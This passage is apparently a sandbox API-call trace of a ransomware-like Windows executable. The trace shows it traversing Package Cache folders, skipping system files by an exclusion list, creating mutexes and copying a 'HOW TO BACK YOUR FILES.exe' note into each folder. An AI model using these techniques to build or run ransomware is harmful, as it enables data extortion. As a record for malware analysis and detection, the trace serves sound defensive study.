nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0098.420] lstrcmpiW (lpString1="packages", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0098.420] lstrcmpiW (lpString1="packages", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0098.420] lstrcmpiW (lpString1="packages", lpString2=".") returned 1 [0098.420] lstrcmpiW (lpString1="packages", lpString2="..") returned 1 [0098.420] lstrcmpiW (lpString1="packages", lpString2="windows") returned -1 [0098.420] lstrcmpiW (lpString1="packages", lpString2="bootmgr") returned 1 [0098.420] lstrcmpiW (lpString1="packages", lpString2="temp") returned -1 [0098.420] lstrcmpiW (lpString1="packages", lpString2="pagefile.sys") returned -1 [0098.420] lstrcmpiW (lpString1="packages", lpString2="boot") returned 1 [0098.420] lstrcmpiW (lpString1="packages", lpString2="ids.txt") returned 1 [0098.421] lstrcmpiW (lpString1="packages", lpString2="ntuser.dat") returned 1 [0098.421] lstrcmpiW (lpString1="packages", lpString2="perflogs") returned -1 [0098.421] lstrcmpiW (lpString1="packages", lpString2="MSBuild") returned 1 [0098.421] lstrlenW (lpString="packages") returned 8 [0098.421] lstrcpyW (in: lpString1=0x241e8d4, lpString2="packages" | out: lpString1="packages") returned="packages" [0098.421] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50db50 [0098.421] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x9e) returned 0x522ae0 [0098.421] lstrcatW (in: lpString1="packages", lpString2="\\" | out: lpString1="packages\\") returned="packages\\" [0098.421] lstrcatW (in: lpString1="packages\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="packages\\HOW TO BACK YOUR FILES.exe") returned="packages\\HOW TO BACK YOUR FILES.exe" [0098.421] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\how to back your files.exe"), bFailIfExists=1) returned 1 [0098.423] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0098.423] FindClose (in: hFindFile=0x5295d0 | out: hFindFile=0x5295d0) returned 1 [0098.423] ReleaseMutex (hMutex=0xec) returned 1 [0098.423] CloseHandle (hObject=0xec) returned 1 [0098.423] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D" | out: lpString1="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D") returned="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D" [0098.424] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d8d8 | out: hHeap=0x4f0000) returned 1 [0098.424] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50dbe0 | out: hHeap=0x4f0000) returned 1 [0098.424] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D") returned 69 [0098.424] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\546780D049D8C83BB6946A376F5A30BF") returned 0xec [0098.424] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0098.424] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D" | out: lpString1="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D") returned="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D" [0098.424] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0098.424] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\how to back your files.exe"), bFailIfExists=1) returned 0 [0098.424] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0098.425] GetLastError () returned 0x0 [0098.425] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0098.425] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53edd0 [0098.425] ReadFile (in: hFile=0xf4, lpBuffer=0x53edd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53edd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0098.425] CloseHandle (hObject=0xf4) returned 1 [0098.426] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0098.426] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0098.426] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa938e870, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xc4b7c060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4b7c060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5295d0 [0098.426] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.426] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.426] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0098.427] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa938e870, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xc4b7c060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4b7c060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.427] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.427] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.427] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0098.427] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0098.427] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b7c060, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc4b7c060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0098.427] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0098.427] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0098.427] lstrcmpiW (lpString1="packages", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0098.427] lstrcmpiW (lpString1="packages", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0098.427] lstrcmpiW (lpString1="packages", lpString2=".") returned 1 [0098.427] lstrcmpiW (lpString1="packages", lpString2="..") returned 1 [0098.427] lstrcmpiW (lpString1="packages", lpString2="windows") returned -1 [0098.427] lstrcmpiW (lpString1="packages", lpString2="bootmgr") returned 1 [0098.427] lstrcmpiW (lpString1="packages", lpString2="temp") returned -1 [0098.427] lstrcmpiW (lpString1="packages", lpString2="pagefile.sys") returned -1 [0098.427] lstrcmpiW (lpString1="packages", lpString2="boot") returned 1 [0098.427] lstrcmpiW (lpString1="packages", lpString2="ids.txt") returned 1 [0098.427] lstrcmpiW (lpString1="packages", lpString2="ntuser.dat") returned 1 [0098.427] lstrcmpiW (lpString1="packages", lpString2="perflogs") returned -1 [0098.427] lstrcmpiW (lpString1="packages", lpString2="MSBuild") returned 1 [0098.427] lstrlenW (lpString="packages") returned 8 [0098.427] lstrcpyW (in: lpString1=0x241e8d4, lpString2="packages" | out: lpString1="packages") returned="packages" [0098.427] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50dbe0 [0098.427] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x9e) returned 0x522b88 [0098.427] lstrcatW (in: lpString1="packages", lpString2="\\" | out: lpString1="packages\\") returned="packages\\" [0098.427] lstrcatW (in: lpString1="packages\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="packages\\HOW TO BACK YOUR FILES.exe") returned="packages\\HOW TO BACK YOUR FILES.exe" [0098.428] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\how to back your files.exe"), bFailIfExists=1) returned 1 [0098.430] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0098.430] FindClose (in: hFindFile=0x5295d0 | out: hFindFile=0x5295d0) returned 1 [0098.430] ReleaseMutex (hMutex=0xec) returned 1 [0098.430] CloseHandle (hObject=0xec) returned 1 [0098.430] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" | out: lpString1="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" [0098.430] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x521fb8 | out: hHeap=0x4f0000) returned 1 [0098.430] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50dc28 | out: hHeap=0x4f0000) returned 1 [0098.430] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned 78 [0098.430] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\C410C6D5FD929F24C993A18369CACC7F") returned 0xec [0098.430] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0098.430] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" | out: lpString1="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" [0098.430] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0098.430] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\how to back your files.exe"), bFailIfExists=1) returned 0 [0098.431] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0098.431] GetLastError () returned 0x0 [0098.431] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0098.431] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53edd0 [0098.431] ReadFile (in: hFile=0xf4, lpBuffer=0x53edd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53edd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0098.432] CloseHandle (hObject=0xf4) returned 1 [0098.432] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0098.432] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0098.432] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb49460, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xc4b7c060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4b7c060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5295d0 [0098.432] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.432] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.432] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0098.432] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb49460, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xc4b7c060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4b7c060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.432] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.432] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.433] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0098.433] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0098.433] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b7c060, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc4b7c060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0098.433] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0098.433] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcb95720, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcb95720, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0098.433] lstrcmpiW (lpString1="packages", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0098.433] lstrcmpiW (lpString1="packages", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0098.433] lstrcmpiW (lpString1="packages", lpString2=".") returned 1 [0098.433] lstrcmpiW (lpString1="packages", lpString2="..") returned 1 [0098.433] lstrcmpiW (lpString1="packages", lpString2="windows") returned -1 [0098.433] lstrcmpiW (lpString1="packages", lpString2="bootmgr") returned 1 [0098.433] lstrcmpiW (lpString1="packages", lpString2="temp") returned -1 [0098.433] lstrcmpiW (lpString1="packages", lpString2="pagefile.sys") returned -1 [0098.433] lstrcmpiW (lpString1="packages", lpString2="boot") returned 1 [0098.433] lstrcmpiW (lpString1="packages", lpString2="ids.txt") returned 1 [0098.433] lstrcmpiW (lpString1="packages", lpString2="ntuser.dat") returned 1 [0098.433] lstrcmpiW (lpString1="packages", lpString2="perflogs") returned -1 [0098.433] lstrcmpiW (lpString1="packages", lpString2="MSBuild") returned 1 [0098.433] lstrlenW (lpString="packages") returned 8 [0098.433] lstrcpyW (in: lpString1=0x241e8e6, lpString2="packages" | out: lpString1="packages") returned="packages" [0098.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50dc28 [0098.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xb0) returned 0x53edd0 [0098.433] lstrcatW (in: lpString1="packages", lpString2="\\" | out: lpString1="packages\\") returned="packages\\" [0098.433] lstrcatW (in: lpString1="packages\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="packages\\HOW TO BACK YOUR FILES.exe") returned="packages\\HOW TO BACK YOUR FILES.exe" [0098.433] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\how to back your files.exe"), bFailIfExists=1) returned 1 [0098.436] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcb95720, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcb95720, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0098.436] FindClose (in: hFindFile=0x5295d0 | out: hFindFile=0x5295d0) returned 1 [0098.436] ReleaseMutex (hMutex=0xec) returned 1 [0098.436] CloseHandle (hObject=0xec) returned 1 [0098.436] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" | out: lpString1="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" [0098.436] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514e18 | out: hHeap=0x4f0000) returned 1 [0098.436] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ac38 | out: hHeap=0x4f0000) returned 1 [0098.436] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned 67 [0098.436] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\A7BDA8FBC0B1ACD7D15CD719F890D309") returned 0xec [0098.436] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0098.436] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" | out: lpString1="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" [0098.436] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0098.436] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\how to back your files.exe"), bFailIfExists=1) returned 0 [0098.437] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0098.437] GetLastError () returned 0x0 [0098.437] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0098.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ee88 [0098.437] ReadFile (in: hFile=0xf4, lpBuffer=0x53ee88, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ee88*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0098.438] CloseHandle (hObject=0xf4) returned 1 [0098.438] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ee88 | out: hHeap=0x4f0000) returned 1 [0098.438] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0098.438] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xc4b7c060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4b7c060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5295d0 [0098.438] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.438] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.438] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0098.439] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xc4b7c060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4b7c060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.439] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.439] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.439] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0098.439] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0098.439] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b7c060, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc4b7c060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0098.439] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0098.439] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecd314a0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xecd314a0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xf08b3aa0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x28e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0098.439] lstrcmpiW (lpString1="state.rsm", 